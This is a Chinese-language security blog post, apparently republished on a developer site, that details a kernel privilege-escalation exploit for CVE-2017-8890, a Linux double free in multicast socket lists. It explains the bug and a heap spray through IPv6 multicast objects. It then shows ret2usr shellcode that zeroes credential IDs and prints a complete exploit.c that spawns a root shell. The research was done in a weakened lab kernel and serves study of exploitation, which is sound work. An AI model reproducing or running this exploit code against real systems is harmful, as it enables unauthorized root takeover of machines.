内容简介:Author:最近一段时间在研究linux kernel的漏洞利用,我们以CVE-2017-8890为例探索了linux kernel的提权过程,以此记录并分享。测试环境我们使用qemu运行linux kernel + busybox的最小化系统,并在Ubuntu主机上通过gdb远程调试linux kernel,十分便捷。同时,我们为了方便,关闭了内核的SMEP/SMAP、KASLR防护机制。
Author: thor@MS509Team
最近一段时间在研究linux kernel的漏洞利用,我们以CVE-2017-8890为例探索了linux kernel的提权过程,以此记录并分享。
0x00 测试环境
1. linux kernel 版本:4.10.6 x86_64 2. 调试环境:qemu + linux kernel + busybox + gdb 3. kernel 防护机制: no smep, no smap,no KASLR 4. 主机:Ubuntu 16.04
测试环境我们使用qemu运行linux kernel + busybox的最小化系统,并在Ubuntu主机上通过gdb远程调试linux kernel,十分便捷。同时,我们为了方便,关闭了内核的SMEP/SMAP、KASLR防护机制。
qemu:
gdb:
0x01 漏洞原理
CVE-2017-8890是启明星辰ADLab去年披露的linux kernel double free漏洞,取名Phoenix Talon,可影响几乎所有Linux kernel 2.5.69 ~ Linux kernel 4.11的内核版本、对应的发行版本以及相关国产系统。我们简单介绍下该漏洞的原理。
我们在socket编程中服务端创建socket时会在内核创建一个 inet_sock
结构体, 暂时称其为sock1:
struct inet_sock { /* sk and pinet6 has to be the first two members of inet_sock */ struct sock sk; ........ __be32 inet_saddr; __s16 uc_ttl; __u16 cmsg_flags; __be16 inet_sport; __u16 inet_id; .......... __be32 mc_addr; struct ip_mc_socklist __rcu *mc_list; struct inet_cork_full cork; };
当服务端调用accept函数接收外来连接的时候会创建一个新的 inet_sock
结构体, 称为sock2。sock2对象会从sock1对象复制一份 ip_mc_socklist
指针,其结构体如下:
struct ip_mc_socklist { struct ip_mc_socklist __rcu *next_rcu; struct ip_mreqn multi; unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ struct ip_sf_socklist __rcu *sflist; struct rcu_head rcu; };
此时在内核中存在两个不同 inet_sock
对象,但它们的 mc_list
指针却指向同一个 ip_mc_socklist
对象。此后,当服务端close socket的时候,内核会free对应的 inet_sock
对象sock1,并同时释放 mc_list
指针指向的那个 ip_mc_socklist
对象。但是服务端在关闭accept创建的 inet_sock
对象sock2时,会再次释放同一个 mc_list
对象,造成double free漏洞。
该漏洞的原理比较简单,就是在复制对象的时候将指针也一同复制了一份,造成两个指针指向同一对象。因此,漏洞修复也比较简单,直接在复制对象的时候将 mc_list
指针置为NULL即可。
0x02 PoC
我们直接在github上找到了一个可以运行的 PoC ,
编译如下:
gcc -static cve.cpp -o PoC -lpthread
运行后内核直接崩溃:
我们在崩溃界面可以看到漏洞的触发路径。
PoC的大致流程如下:
sockfd = socket(AF_INET, xx, IPPROTO_TCP); setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx); bind(sockfd, xxxx, xxxx); listen(sockfd, xxxx); newsockfd = accept(sockfd, xxxx, xxxx); close(newsockfd) // first free (kfree_rcu) sleep(5) // wait rcu free(real free) close(sockfd) // double free
我们首先创建一个服务端socket,并通过setsockopt设置 MCAST_JOIN_GROUP
选项,主要是让内核创建 ip_mc_socklist
对象。然后我们通过accept创建另外一个socket,使得newsockfd在内核中的 mc_list
指针指向同一个 ip_mc_socklist
对象。最后我们通过关闭sockfd和newsockfd去触发内核释放 mc_list
指向的同一对象,导致double free。
0x03 exploit
我们在网上暂时还没有搜到可用的exploit,只有一些文章[1][2]讲解漏洞利用的思路。double free类型漏洞的一般利用思路是在第一次free后通过伪造数据去堆喷占位,控制第二次free时的数据,从而劫持内核的执行流程。
我们再看看double free的对象 ip_mc_socklist
:
struct ip_mc_socklist { struct ip_mc_socklist __rcu *next_rcu; struct ip_mreqn multi; unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ struct ip_sf_socklist __rcu *sflist; struct rcu_head rcu; }; struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head); } #define rcu_head callback_head
我们可以看到 ip_mc_socklist
对象中包含一个 rcu_head
对象,而该对象正好包含一个函数指针。 ip_mc_socklist
对象的释放涉及的linux的RCU机制,比较复杂,我们暂时只需要知道 ip_mc_socklist
对象真正释放的处理函数是 __rcu_reclaim
:
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head) { unsigned long offset = (unsigned long)head->func; rcu_lock_acquire(&rcu_callback_map); if (__is_kfree_rcu_offset(offset)) { RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset)); kfree((void *)head - offset); rcu_lock_release(&rcu_callback_map); return true; } else { RCU_TRACE(trace_rcu_invoke_callback(rn, head)); head->func(head); rcu_lock_release(&rcu_callback_map); return false; } }
刚好在 __rcu_reclaim
函数中存在一个分支去执行 rcu_head
对象中的函数指针:
head->func(head)
因此,我们只需要劫持rcu_head对象即可劫持内核的执行。接下来,我们通过gdb调试一步步来实现我们的exploit。
1)内核堆喷
为了能够劫持 ip_mc_socklist
内核对象,我们必须要能够在第一次free后通过堆喷占位,用我们伪造的数据填充已经free掉的 ip_mc_socklist
内核对象。 ip_mc_socklist
对象在x86_64系统中大小为48字节,内核会通过kmalloc分配64字节的堆块,因此我们需要找到在内核中稳定分配64字节大小,并且能够控制分配内容的方法。我们试了sendmmsg方法,但是并未成功。通过内核堆喷 ipv6_mc_socklist
结构体倒是成功了,但是通过gdb查看分配的对象大小却是72字节。我们直接通过源码计算 ipv6_mc_socklist
结构体的大小只有64字节,多出来的8个字节怎么出来的呢?
struct ipv6_mc_socklist { struct in6_addr addr; int ifindex; struct ipv6_mc_socklist __rcu *next; rwlock_t sflock; unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ struct ip6_sf_socklist *sflist; struct rcu_head rcu; };
最后通过gdb调试我们才知道是因为内存对齐的原因。 ipv6_mc_socklist
结构体中既有8字节的成员变量,也有4字节的成员变量,因此 ipv6_mc_socklist
对齐到8字节,导致 ipv6_mc_socklist
对象的内存大小多出来8个字节。我们想到一个简单的方法,就是patch kernel, 修改 ipv6_mc_socklist
结构体定义,将两个4字节成员变量放在一起:
struct ipv6_mc_socklist { struct in6_addr addr; int ifindex; unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ struct ipv6_mc_socklist __rcu *next; rwlock_t sflock; struct ip6_sf_socklist *sflist; struct rcu_head rcu; };
修改后重新编译内核运行,成功实现了内核64字节堆喷。我们可以通过gdb查看堆喷结果。
第一次free时 ip_mc_socklist
内核对象:
堆喷成功后第二次free:
通过对比我们可以看到,两次free的对象地址都是0xffff8800065ca0c0,说明是同一对象。同时,第二次free之前,我们成功通过堆喷,将之前free的对象填充为可控内容。堆喷的代码如下:
#define SPRAY_SIZE 5000 int sockfd[SPRAY_SIZE]; void spray_init() { for(int i=0; i<SPRAY_SIZE; i++) { if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) { perror("Socket"); exit(errno); } } } void heap_spray() { struct sockaddr_in6 my_addr, their_addr; unsigned int myport = 8000; bzero(&my_addr, sizeof(my_addr)); my_addr.sin6_family = AF_INET6; my_addr.sin6_port = htons(myport); my_addr.sin6_addr = in6addr_any; int opt =1; struct group_req group1 = {0}; struct sockaddr_in6 *psin1; psin1 = (struct sockaddr_in6 *)&group1.gr_group; psin1->sin6_family = AF_INET6; psin1->sin6_port = 1234; inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr)); for(int j=0; j<SPRAY_SIZE; j++) { setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1)); } }
我们将堆喷对象 ipv6_mc_socklist
的adrr设置为"ff02:abcd:0:0:0:0:0:1",即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象 ip_mc_socklist
的 next_rcu
成员。因此,我们通过堆喷 ipv6_mc_socklist
对象来劫持 ip_mc_socklist
对象的释放。
2)劫持EIP
当我们成功进行了堆喷劫持后,需要通过某种方式来获得在内核中执行代码的能力,即劫持EIP。前面我们提到 ip_mc_socklist
对象中包含一个函数指针,我们是不是可以直接劫持该函数指针来劫持EIP呢?经过测试后发现这是不行的。我们通过gdb调试后发现即使我们通过堆喷劫持了 ip_mc_socklist
对象中的函数指针,但是实际在 __rcu_reclaim
函数中执行时,该函数指针已经被修改了,变成了其他值。我们在分析源码发现,原来kfree_rcu函数会修改 ip_mc_socklist
对象中的函数指针,导致我们的堆喷失效。 kfree_rcu
的调用链:
kfree_rcu->__kfree_rcu->kfree_call_rcu->__call_rcu
我们发现在函数的参数转换的时候,rcu_head中的函数指针会被修改为偏移量:
因此我们不能直接通过劫持函数指针来劫持EIP。我们知道linux的RCU机制使得kfree_rcu函数调用后,并不是马上去执行 __rcu_reclaim
函数进行真正的释放动作,而是会让CPU过一段时间再执行。如果我们在 __rcu_reclaim
函数执行前再次修改 ip_mc_socklist
对象中的函数指针即可劫持EIP。但是我们并不能访问到堆喷的内核对象,我们该怎么修改呢?如果是在用户空间就好了!我们之前提到, ip_mc_socklist
对象的前8个字节是 next_rcu
指针变量,该指针指向rcu链表中的下一个 ip_mc_socklist
对象。我们可以通过劫持 next_rcu
指针,使其指向我们在用户空间伪造的 ip_mc_socklist
对象,然后再通过伪造用户空间对象的函数指针来劫持EIP,布局如下所示:
当我们将 ip_mc_socklist
对象劫持到用户空间后,我们就可以通过多线程去修改伪造对象的函数指针,从而劫持到EIP。
2)shellcode
由于没有SMEP、SMAP,我们劫持到EIP后可以直接跳转到我们在用户空间的shellcode中执行提权代码。常见的提权代码是执行如下函数:
commit_creds(prepare_kernel_cred(0))
prepare_kernel_cred
和 commit_creds
是内核导出的符号,可以通过/proc/kallsyms查找相应内核地址。但是执行这两个函数能提权成功有一个前提条件,就是内核必须处于exp进程的上下文,即内核通过current宏获取到的进程描述符 task_struct
必须是exp进程的,否则exp进程不能提权成功。我们在测试中发现,虽然通过劫持EIP成功执行了 commit_creds(prepare_kernel_cred(0))
,但是返回的 shell 并不是root权限,说明提权并未成功。通过gdb调试一看,我们劫持到EIP时内核的进程上下文是 ksoftirqd
进程或 rcu_sched
进程。我们猜测,由于RCU机制的存在, ip_mc_socklist
对象的真正释放是在内核软中断处理中,因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以,虽然我们能劫持EIP执行,但是却不能通过简单执行commit_creds函数执行提权,需要我们自己写shellcode。我们知道,只要我们能修改exp进程描述符中cred结构体的uid和euid为0,即可提权为root。因此在内核中执行如下代码即可:
void get_root(int pid){ struct pid * kpid = find_get_pid(pid); struct task_struct * task = pid_task(kpid,PIDTYPE_PID); unsigned int * addr = (unsigned int* )task->cred; addr[1] = 0; addr[2] = 0; addr[3] = 0; addr[4] = 0; addr[5] = 0; addr[6] = 0; addr[7] = 0; addr[8] = 0; }
find_get_pid
和 pid_task
函数是内核导出的函数,主要用于根据pid找到对应的进程描述符。这段代码是在内核中执行的,可以在编写的内核模块中编译和运行,但是不好编译为用户空间代码,因此我们直接将其转换为汇编代码:
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220; unsigned long* pid_task = (unsigned long*)0xffffffff81077180; int pid = getpid(); void get_root() { asm( "sub $0x18,%rsp;" "mov pid,%edi;" "callq *find_get_pid;" "mov %rax,-0x8(%rbp);" "mov -0x8(%rbp),%rax;" "mov $0x0,%esi;" "mov %rax,%rdi;" "callq *pid_task;" "mov %rax,-0x10(%rbp);" "mov -0x10(%rbp),%rax;" "mov 0x5f8(%rax),%rax;" "mov %rax,-0x18(%rbp);" "mov -0x18(%rbp),%rax;" "add $0x4,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x8,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0xc,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x10,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x14,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x18,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x1c,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x20,%rax;" "movl $0x0,(%rax);" "nop;" "leaveq;" "retq ;"); }
3)Demo
综上,我们的第一版exploit.c如下所示:
#include <stdio.h> #include <stdlib.h> #include <sys/select.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <fcntl.h> #include <time.h> #include <sys/types.h> #include <pthread.h> #include <net/if.h> #include <errno.h> #include <assert.h> #include <sys/mman.h> #define SPRAY_SIZE 5000 #define HELLO_WORLD_SERVER_PORT 8088 unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220; unsigned long* pid_task = (unsigned long*)0xffffffff81077180; void *client(void *arg); void get_root(); int pid=0; void get_root() { asm( "sub $0x18,%rsp;" "mov pid,%edi;" "callq *find_get_pid;" "mov %rax,-0x8(%rbp);" "mov -0x8(%rbp),%rax;" "mov $0x0,%esi;" "mov %rax,%rdi;" "callq *pid_task;" "mov %rax,-0x10(%rbp);" "mov -0x10(%rbp),%rax;" "mov 0x5f8(%rax),%rax;" "mov %rax,-0x18(%rbp);" "mov -0x18(%rbp),%rax;" "add $0x4,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x8,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0xc,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x10,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x14,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x18,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x1c,%rax;" "movl $0x0,(%rax);" "mov -0x18(%rbp),%rax;" "add $0x20,%rax;" "movl $0x0,(%rax);" "nop;" "leaveq ;" "retq ;" ); } int sockfd[SPRAY_SIZE]; void spray_init() { for(int i=0; i<SPRAY_SIZE; i++) { if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) { perror("Socket"); exit(errno); } } } void heap_spray() { struct sockaddr_in6 my_addr, their_addr; unsigned int myport = 8000; bzero(&my_addr, sizeof(my_addr)); my_addr.sin6_family = AF_INET6; my_addr.sin6_port = htons(myport); my_addr.sin6_addr = in6addr_any; int opt =1; struct group_req group1 = {0}; struct sockaddr_in6 *psin1; psin1 = (struct sockaddr_in6 *)&group1.gr_group; psin1->sin6_family = AF_INET6; psin1->sin6_port = 1234; // cd ab 02 ff inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr)); for(int j=0; j<SPRAY_SIZE; j++) { setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1)); } } void *func_modify(void *arg){ unsigned long fix_addr = 0xcdab02ff + 8*5; unsigned long func = (unsigned long)&get_root; while(1) { *(unsigned long *)(fix_addr) = func; } } void exploit(){ struct sockaddr_in server_addr; bzero(&server_addr,sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = htons(INADDR_ANY); server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT); struct group_req group = {0}; struct sockaddr_in *psin; psin = (struct sockaddr_in *)&group.gr_group; psin->sin_family = AF_INET; psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224")); int server_socket = socket(PF_INET,SOCK_STREAM,0); if( server_socket < 0){ printf("[Server]Create Socket Failed!"); exit(1); } int opt =1; setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group)); if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){ printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); exit(1); } if ( listen(server_socket, 10) ) { printf("[Server]Server Listen Failed!"); exit(1); } pthread_t id_client; pthread_create(&id_client,NULL,client,NULL); spray_init(); struct sockaddr_in client_addr; socklen_t length = sizeof(client_addr); printf ("[Server]accept..... \n"); int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length); if ( new_server_socket < 0){ close(server_socket); perror("[Server]Server Accept Failed!\n"); return; } unsigned long fix_addr = 0xcdab0000; unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0); if (addr == MAP_FAILED){ perror("Failed to mmap: "); return; } addr = (unsigned long *)0x00000000cdab02ff; unsigned long func = (unsigned long)&get_root; addr[0] = 0x0; addr[1] = 0x0a0a02e0; addr[2] = 0x00000002; addr[3] = 0x0; addr[4] = 0x0; addr[5] = func; pthread_t id_func; pthread_create(&id_func,NULL,func_modify,NULL); printf ("[Server]close new_server_socket \n"); close(new_server_socket); sleep(5); heap_spray(); close(server_socket); printf(" current uid is : %d \n", getuid()); printf(" current euid is : %d \n", geteuid()); system("/bin/sh"); } void *client(void *arg){ struct sockaddr_in client_addr; bzero(&client_addr,sizeof(client_addr)); client_addr.sin_family=AF_INET; client_addr.sin_addr.s_addr=htons(INADDR_ANY); client_addr.sin_port=htons(0); int client_socket=socket(AF_INET,SOCK_STREAM,0); if(client_socket<0){ printf("[Client]Create socket failed!\n"); exit(1); } if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){ printf("[Client] client bind port failed!\n"); exit(1); } struct sockaddr_in server_addr; bzero(&server_addr,sizeof(server_addr)); server_addr.sin_family=AF_INET; if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){ printf("[Client]Server IP Address error\n"); exit(0); } server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT); socklen_t server_addr_length=sizeof(server_addr); if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){ printf("[Client]cannot connect to 127.0.0.1!\n"); exit(1); } printf("[Client]Close client socket\n"); close(client_socket); return NULL; } int main(int argc,char* argv[]) { printf("pid : %d\n", getpid()); pid = getpid(); exploit(); return 0; }
我们编译exploit.c:
在qemu的虚拟环境中运行我们的exp:
最终,我们在qemu + linux kernel + busybox的虚拟环境中成功实现了root提权。
0x04 小结
本文记录了我们初步研究CVE-2017-8890漏洞利用的过程及初步成果,在qemu + linux kernel + busybox的最小化虚拟环境中成功实现了root提权。但是需要注意的是,我们这里的linux kernel并没有开启SMEP/SMAP,exp使用了ret2usr的方法去执行shellcode提权。如果开启SMEP/SMAP,内核将不能直接访问我们用户空间的数据或直接执行用户空间的shellcode,我们的这个exp也就不再有效。同时,我们这个exp的堆喷使用了patch kernel的方法,在实际环境中肯定不再适用。我们将在下一篇文章中探讨内核堆喷的其他方法,以及在内核开启SMEP的情况下的绕过方法。欢迎大家一起探讨学习!
参考文献:
[1] http://www.freebuf.com/articles/terminal/160041.html
[2] https://bbs.pediy.com/thread-226057.htm
[3] https://mp.weixin.qq.com/s/6NGH-Dk2n_BkdlJ2jSMWJQ
以上所述就是小编给大家介绍的《利用CVE-2017-8890实现linux内核提权: ret2usr》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 从 0 开始学 Linux 内核之 android 内核栈溢出 ROP 利用
- 从 0 开始学 Linux 内核之 android 内核栈溢出 ROP 利用
- Apple CVE-2018-4407 内核漏洞利用与修复
- Windows 内核漏洞利用之UAF:CVE-2015-0057
- 【PPT分享】中国科学院大学吴炜——FUZE:辅助生成内核UAF漏洞利用
- 数据库存储引擎如何利用好CPU缓存 | X-Engine内核
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。